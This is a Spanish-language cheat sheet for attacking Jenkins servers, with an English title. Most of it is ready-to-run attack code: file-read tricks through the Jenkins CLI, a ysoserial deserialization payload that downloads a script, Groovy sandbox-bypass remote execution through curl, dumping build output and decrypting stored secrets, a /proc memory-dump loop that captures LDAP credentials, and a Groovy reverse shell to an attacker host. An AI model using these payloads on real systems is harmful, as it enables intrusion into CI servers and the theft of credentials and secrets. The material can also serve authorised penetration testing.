
Notes about attacking Jenkins servers
Autenticado, puede recuperar un archivo completo:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Sin autenticación o sin permisos Global/Read, solo se pueden leer 3 líneas: Leer la primera línea:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Leer la segunda línea:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Leer la tercera línea:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Cómo hacer fuerza bruta a la clave de cifrado de credenciales.
Usa ysoserial para generar un payload. Luego RCE usando este script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Detalles aquí.
Si Jenkins solicita autenticación pero devuelve datos válidos con la siguiente petición, es vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Vulnerabilidad RCE original aquí, exploit completo aquí.
RCE alternativo con permisos Overall/Read y Job/Configure aquí.
Comprueba si una instancia de Jenkins es vulnerable (necesita permisos Overall/Read) con un poco de Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Nota: Si recibes un error 403 que indica que falta la crumb (que es una protección CSRF en Jenkins), puedes obtener el valor de la crumb con una petición GET a https://example.com/crumbIssuer/api/json. El valor de la crumb deberá añadirse a la petición POST en una cabecera Jenkins-Crumb.
Ejecutar comandos bash arbitrarios:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Si no obtienes una reverse shell de inmediato, puedes depurar lanzando una excepción:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Este solo funcionará si un usuario tiene los derechos 'Jobs/Configure' en la matriz de seguridad, así que es muy específico.
Ten en cuenta que esto solo es explotable si se usa un Update Center dedicado y desactualizado. Por lo tanto, la mayoría de los servidores no son vulnerables.
Usa este script para volcar las salidas de consola de los builds y las variables de entorno de los builds y, con suerte, encontrar secretos en texto claro.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Usa este script de Python o este script de PowerShell.
Estos archivos son necesarios para descifrar los secretos de Jenkins:
Estos secretos suelen encontrarse en:
Aquí tienes una regexp para encontrarlos:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Si Jenkins está configurado para verificar las credenciales de usuario reenviándolas a un LDAP (lo cual es una estupidez, pero una vulnerabilidad común en las empresas), es posible recuperar estas credenciales de usuario en texto claro volcando la memoria del proceso de Java. Asumiendo que el PID 7 corresponde al servidor Jenkins, el siguiente bucle realizará un volcado de memoria de la pila cada 30 segundos:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
Un pequeño retraso es importante porque el recolector de basura liberará periódicamente las estructuras de credenciales.
Usa este script para descifrar secretos previamente volcados.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Comando shell multilínea que puede incluir tuberías, redirecciones y demás:
def proc = ['bash', '-c', '''your_long_command_here'''].execute();
Automatízalo usando este script.
Por defecto, la ejecución se realiza en el nodo maestro. Usa este script para ejecutar en un slave específico:
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins
String agent_name = 'slave_name'
groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''
String result
Jenkins.instance.slaves.find { agent ->
agent.name == agent_name
}.with { agent ->
result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Dejo aquí este consejo de reverse shell para recuperar una PTY totalmente funcional, por si alguien la necesita:
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy